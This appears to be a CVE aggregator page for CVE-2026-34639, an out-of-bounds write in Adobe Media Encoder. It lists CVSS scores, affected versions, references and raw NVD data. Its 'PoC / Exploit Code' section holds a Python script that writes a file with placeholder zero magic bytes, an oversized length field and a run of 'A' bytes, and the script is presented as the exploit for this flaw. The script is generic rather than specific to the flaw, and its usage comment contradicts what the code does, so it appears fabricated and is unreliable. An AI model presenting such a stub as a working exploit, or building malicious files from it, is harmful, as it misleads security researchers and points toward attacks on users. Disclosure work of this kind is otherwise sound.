CVE-2026-34639

Description

Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:* - VULNERABLE

Adobe Media Encoder <= 26.0.2

Adobe Media Encoder <= 25.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# PoC for CVE-2026-34639: Adobe Media Encoder Out-of-Bounds Write
# This script generates a malformed file intended to trigger the vulnerability.
# Usage: python poc.py > malicious_file.ext

def generate_malicious_file():
    # Create a basic header (simulated structure)
    header = b"\x00\x00\x00\x00"  # Magic bytes

    # Craft a size field that exceeds the expected buffer size
    # The application allocates a buffer based on a field but copies more data
    malicious_size = struct.pack('<I', 0xFFFFFFFF)  # Large size
    payload = b"A" * 0x1000  # Data to overflow

    # Construct the file
    file_data = header + malicious_size + payload

    with open("crash.ext", "wb") as f:
        f.write(file_data)
    print("[+] Malicious file generated: crash.ext")
    print("[+] Open this file in Adobe Media Encoder to trigger the crash.")

if __name__ == "__main__":
    generate_malicious_file()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34639
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34639
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34639/
[4] VulDB https://vuldb.com/cve/CVE-2026-34639
[5] https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34639", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.320", "lastModified": "2026-05-13T19:36:56.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "2B747DD0-1CE0-46DC-8558-BEBB0DA054EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "F64E146E-B98E-4E80-81CE-1B64808C57FD"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}